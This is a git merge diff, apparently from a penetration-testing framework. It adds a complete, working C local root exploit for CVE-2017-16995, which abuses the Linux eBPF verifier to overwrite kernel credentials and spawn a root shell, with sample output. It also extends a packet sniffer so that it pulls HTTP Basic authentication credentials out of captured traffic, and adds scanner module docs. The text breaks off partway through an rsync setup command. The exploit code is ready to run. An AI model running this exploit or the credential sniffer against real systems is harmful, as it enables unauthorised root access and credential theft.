Merge branch 'master' into remote_creds_data
commit
65d42380d3
10
Gemfile.lock
10
Gemfile.lock
|
@ -65,9 +65,11 @@ PATH
|
|||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
sysrandom
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
|
@ -118,7 +120,8 @@ GEM
|
|||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
dnsruby (1.61.1)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
|
@ -127,7 +130,7 @@ GEM
|
|||
factory_bot_rails (4.10.0)
|
||||
factory_bot (~> 4.10.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
|
@ -325,6 +328,7 @@ GEM
|
|||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
sysrandom (1.0.5)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
|
@ -338,6 +342,8 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
|
|
|
@ -0,0 +1,496 @@
|
|||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -1,22 +1,24 @@
|
|||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# Psnuffle password sniffer add-on class for HTTP URLs
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
# Sniffer class for GET URL's
|
||||
#
|
||||
# Sniffer class for GET/POST URLs.
|
||||
# Also extracts HTTP Basic authentication credentials.
|
||||
#
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/i,
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
||||
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
# We want to return immediately if we do not have a packet which is handled by us
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
|
||||
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
||||
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
|
|||
case matched
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if(s[:get])
|
||||
if s[:get]
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
if s[:post]
|
||||
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
|
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
|
|||
end # end of each_key
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,28 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Docker servers listening on a TCP port (default 2375).
|
||||
|
||||
## Options
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
Enable this to dump all info to the screen.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/docker_version
|
||||
msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(scanner/http/docker_version) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/docker_version) > run
|
||||
|
||||
[*] Identifying Docker Server Version on 127.0.0.1:2375
|
||||
[+] [Docker Server] Version: 18.03.1-ce
|
||||
[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"}
|
||||
[*] Saving host information.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/docker_version) >
|
||||
```
|
|
@ -0,0 +1,59 @@
|
|||
## Description
|
||||
|
||||
This module identifies the version of IMAP in use by the server, as well as some of the login options.
|
||||
Any IMAP sever should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Install Dovecot on Kali Linux:
|
||||
|
||||
With this install, we'll only install IMAP for dovecot, as the other protocols are not required. However, this is unrealistic
|
||||
in a production environment.
|
||||
|
||||
1. ```sudo apt-get install dovecot-imapd```
|
||||
2. ```/etc/init.d/dovecot start```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/imap/imap_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**IMAPPASS**
|
||||
|
||||
A password for an IMAP account.
|
||||
|
||||
**IMAPUSER**
|
||||
|
||||
A username for an IMAP account.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Dovecot 2.3.2 (582970113) on Kali
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/imap/imap_version
|
||||
msf5 auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/imap/imap_version) > run
|
||||
|
||||
[+] 10.168.202.216:143 - 10.168.202.216:143 IMAP * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN] Dovecot (Debian) ready.\x0d\x0a
|
||||
[*] 10.168.202.216:143 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Confirming
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/imap-capabilities.html)
|
||||
|
||||
```
|
||||
# nmap -p 143 -sV -script=imap-capabilities 10.168.202.216
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 18:43 EDT
|
||||
Nmap scan report for 10.168.202.216
|
||||
Host is up (0.000044s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
143/tcp open imap Dovecot imapd
|
||||
|_imap-capabilities: LITERAL+ more AUTH=PLAINA0001 IDLE have LOGIN-REFERRALS ENABLE OK Pre-login listed capabilities post-login ID STARTTLS IMAP4rev1 SASL-IR
|
||||
```
|
|
@ -0,0 +1,34 @@
|
|||
## Description
|
||||
|
||||
This module identifies the version of POP3 in use by the server based on the server's banner.
|
||||
Any POP3 sever should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Install Dovecot on Kali Linux:
|
||||
|
||||
With this install, we'll only install POP3 for dovecot, as the other protocols are not required. However, this is unrealistic
|
||||
in a production environment.
|
||||
|
||||
1. ```sudo apt-get install dovecot-pop3d```
|
||||
2. ```/etc/init.d/dovecot start```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/pop3/pop3_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Dovecot 2.3.2 (582970113) on Kali
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version
|
||||
msf5 auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216
|
||||
msf5 auxiliary(scanner/pop3/pop3_version) > run
|
||||
|
||||
[+] 10.168.202.216:110 - 10.168.202.216:110 POP3 +OK Dovecot (Debian) ready.\x0d\x0a
|
||||
[*] 10.168.202.216:110 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,118 @@
|
|||
## Description
|
||||
|
||||
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This module connects to and
|
||||
negotiates with an rsync server, lists the available modules and, optionally, determines if the module requires a password to access.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Configuring rsync on Kali Linux:
|
||||
|
||||
Rsync is installed by default on Kali, however we need to configure some modules for the scanner to find. Step three will
|
||||
create the secrets files which we'll use to test the authentication mechanism. Much of this is based on the guide from
|
||||
[atlantic.net](https://www.atlantic.net/cloud-hosting/how-to-setup-rsync-daemon-linux-server/).
|
||||
|
||||
1. ```mkdir /home/public_rsync2; mkdir /home/public_rsync3; mkdir /home/public_rsync```
|
||||
2. Create the configuration file:
|
||||
|
||||
```
|
||||
echo -n "[read only files]
|
||||
path = /home/public_rsync
|
||||
comment = Files are read only
|
||||
read only = true
|
||||
timeout = 300
|
||||
|
||||
[writable]
|
||||
path = /home/public_rsync2
|
||||
comment = Files can be written to
|
||||
read only = false
|
||||
timeout = 300
|
||||
|
||||
[authenticated]
|
||||
path = /home/public_rsync3
|
||||
comment = Files require authentication
|
||||
read only = true
|
||||
timeout = 300
|
||||
auth users = rsync1,rsync2
|
||||
secrets file = /etc/rsyncd.secrets
|
||||
" > /etc/rsyncd.conf
|
||||
```
|
||||
|
||||
3. ```echo -n "rsync1:9$AZv2%5D29S740k
|
||||
rsync2:Xyb#vbfUQR0og0$6
|
||||
